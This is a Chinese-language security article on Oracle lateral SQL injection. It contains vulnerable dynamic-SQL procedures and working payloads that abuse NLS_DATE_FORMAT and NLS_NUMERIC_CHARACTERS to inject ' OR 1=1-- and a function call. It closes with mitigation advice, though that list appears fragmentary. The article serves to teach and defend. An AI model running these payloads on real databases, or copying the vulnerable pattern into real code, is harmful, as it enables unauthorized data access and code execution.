在 Oracle 資料庫開發中,SQL Injection 一直是資安防禦的重點。許多開發者誤以為使用參數綁定即可高枕無憂,但若採用動態 SQL 且未正確使用繫結變數,仍可能遭受攻擊。本文深入探討一種特殊的注入手法——利用 NLS_DATE_FORMAT 與 NLS_NUMERIC_CHARACTERS 會話參數,對 DATE 與 NUMBER 型別發動側向注入。
CREATE OR REPLACE PROCEDURE kjdatepoc (d IN DATE) AS
BEGIN
INSERT INTO kjdatetable VALUES (d);
COMMIT;
END;
此寫法直接使用參數 d,Oracle 內部處理為繫結變數,完全不會發生注入。
CREATE OR REPLACE PROCEDURE kjdatepoc (d IN DATE) AS
BEGIN
EXECUTE IMMEDIATE 'INSERT INTO kjdatetable VALUES (''' || d || ''')';
COMMIT;
END;
此處將 DATE 透過隱含轉換拼接為字串,攻擊者若能控制 NLS_DATE_FORMAT,即可注入任意 SQL 片段。
攻擊者可在會話層級修改日期格式:
ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD'' OR 1=1--';
當易受攻擊的程序執行時,d 會被轉換為包含單引號與註解的字串,導致 SQL 語意被竄改。
數值型別同樣受 NLS_NUMERIC_CHARACTERS 影響。預設以點號為小數點,若改為單引號:
ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.''';
接著以 TO_NUMBER 產生含單引號的字串:
SELECT TO_NUMBER(1000.10001, '999999D99999') FROM DUAL;
-- 輸出:1000'10001
雖然只產生一個單引號,但結合特定的動態 SQL 邏輯即可突破防線。
CREATE OR REPLACE PROCEDURE NumInjPoc (
kjexpnum IN NUMBER,
kjexpstr IN VARCHAR2
) IS
SecStr VARCHAR2(1000);
BEGIN
SecStr := REPLACE(kjexpstr, '''', '''''');
DBMS_OUTPUT.PUT_LINE('SELECT * FROM DUAL WHERE ID=' || kjexpnum || ' AND name=''' || SecStr || '''');
END;
測試一般字串注入:
BEGIN numinjpoc(1000, '''--'); END;
-- 輸出:SELECT * FROM DUAL WHERE ID=1000 AND name='''--'
單引號被雙寫轉義,注入失敗。但結合 NUMBER 注入:
ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.''';
BEGIN
numinjpoc(TO_NUMBER(0.10001, '999999D99999'), '''||kj.exp()--');
END;
輸出變為:
SELECT * FROM DUAL WHERE ID='10001 AND name='||kj.exp()--'
成功注入函數呼叫,達到程式碼執行目的。
USING 子句傳遞參數。TO_CHAR、TO_DATE 並指定格式模板,不依賴 NLS 參數。ALTER SESSION 權限。EXECUTE IMMEDIATE、DBMS_SQL 等動態 SQL 介面進行專項審計。Lateral SQL Injection 雖需 ALTER SESSION 配合,但在資料庫連線池重用、中介層可控制會話參數的情境下,風險顯著升高。唯有徹底落實參數綁定、移除動態 SQL 拼接習慣,才能從根本上杜絕此類漏洞。